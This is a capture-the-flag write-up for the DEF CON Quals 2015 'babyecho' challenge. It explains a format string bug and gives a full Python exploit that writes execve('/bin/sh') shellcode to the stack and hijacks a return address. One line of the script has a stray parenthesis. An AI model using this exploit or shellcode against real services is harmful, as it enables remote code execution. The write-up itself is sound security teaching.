Defcon Qual 2015 - babyecho

binary
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/babyecho

decompile binary
int __usercall UserInteractFunction(int a1)
{
  int v1;
  signed int v2;
  int v3;
  int v6;
  int buf;
  int v8;

  v8 = *MK_FP(__GS__, 20);
  v6 = 13;
  sub_804FC40((int)off_80EA4C0, 0, 2, 0);
  Signal(14, sub_8048EB1);
  sub_806CB50(v1, a1);
  while ( 1 )
  {
    v2 = 1023;
    if ( v6 <= 1023 )
      v2 = v6;
    v6 = v2;
    printf("Reading %d bytes\n", v2);
    Read((int)&buf, v6, 10);
    sub_8048ECF((int)&buf);
    printf((const char *)&buf);
    sub_804FDE0(10);
    sub_806CB50(v3, a1);
  }
}

We can find format string bug in 'printf((const char *)&buf);'

But buffer length is too small to use FSB.

So first. We need to change buffer length(aka. 'v6' in source).
Check stack with FSB.
%1$x - d  // v2(?) in source
%2$x - a
%3$x - 0
%4$x - d  // v6 in source
%5$x - ffa198fc // buffer address
%6$x - 0
%7$x - 78243725 // buffer start address
%8$x - 0
%9$x - 0
%10$x - 0
%11$x - 0
%12$x - 0
%13$x - 0
%14$x - 0
%15$x - 0
... buffer

And. check memory
(gdb) she ps
  PID TTY          TIME CMD
 3922 pts/0    00:00:00 bash
 3977 pts/0    00:00:00 gdb
 3980 pts/0    00:00:00 babyecho
 3983 pts/0    00:00:00 ps
(gdb) she cat /proc/3980/maps
08048000-080e9000 r-xp 00000000 08:01 941429     /root/Desktop/defcon/babyecho
080e9000-080eb000 rwxp 000a0000 08:01 941429     /root/Desktop/defcon/babyecho
080eb000-0810f000 rwxp 00000000 00:00 0          [heap]
b7ffc000-b7ffe000 r--p 00000000 00:00 0          [vvar]
b7ffe000-b8000000 r-xp 00000000 00:00 0          [vdso]
bffdf000-c0000000 rwxp 00000000 00:00 0          [stack]

We can execute code on stack.

So. I wrote shellcode on buffer, and changed 'printf' function's ret address to shellcode address using FSB.
import struct
import time
import telnetlib
from socket import *

p = lambda x : struct.pack("<L", x)

#HOST = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me"
HOST = "52.74.164.187"
PORT = 3232

# 15bytes nops + 25bytes shellcode
shellcode = "\x90" * 15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

# write memory function
def WriteMemory(s, addr, data) :
    for i in range(4) :
        s.recv(1024)
        s.send("a" * 16 + p(addr + i) + "\n")
        s.recv(1024)
        s.recv(1024)
        s.send("%" + str((data >> 8 * i) & 0xff) + "c%11$n\n")
        s.recv(1024)


s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

s.recv(1024)
s.send("%5$x\n")
data = s.recv(1024)
bufAddr = int(data, 16)

print "buf addr -", hex(bufAddr)

# change buf limit d -> 10d
s.recv(1024)
s.send("aaaaaaaa" + p(bufAddr - 11) + "\n")
s.recv(1024)
s.recv(1024)
s.send("%1c%9$n\n")
s.recv(1024)

shellcodeAddr = bufAddr + 80

print "[*] shellcode Addr - " + hex(shellcodeAddr)
print "[*] writing shellcode..."
for i in range(len(shellcode) / 4) :
    shellcodeDword = ord(shellcode[i * 4 + 3]) << 24
    shellcodeDword += ord(shellcode[i * 4 + 2]) << 16
    shellcodeDword += ord(shellcode[i * 4 + 1]) << 8
    shellcodeDword += ord(shellcode[i * 4])
    WriteMemory(s, shellcodeAddr + i * 4, shellcodeDword)
print "[*] writing Success"

# change ret addr to shellcode addr
print s.recv(1024)
addr1 = (shellcodeAddr & 0xff)
addr2 = ((shellcodeAddr >> 8) & 0xff)
addr2 = addr2 + (0x100 - addr1)
addr3 = ((shellcodeAddr >> 16) & 0xff)
addr3 = addr3 + (0x200 - addr2 - addr1)
s.send(p(bufAddr - 32) + "%" + str(addr1 - 4) + "c" + "%7$n" + "aaa")
s.send(p(bufAddr - 31) + "%" + str(addr2 - 7) + "c" + "%11$n" + "aa")
s.send(p(bufAddr - 30) + "%" + str(addr3 - 6) + "c" + "%15$n" + "aa")
s.send(p(bufAddr - 29) + "%" + str(0xff - ((shellcodeAddr >> 16) & 0xff) - 6) + "c" + "%19$n" + "\n")

# if success then receive data
data = s.recv(2024)
if data.find("aa") != -1 :
    s.send("cat /home/babyecho/flag\n")
    print s.recv(1024)
else :
    print "failed!\n")

s.close()

댓글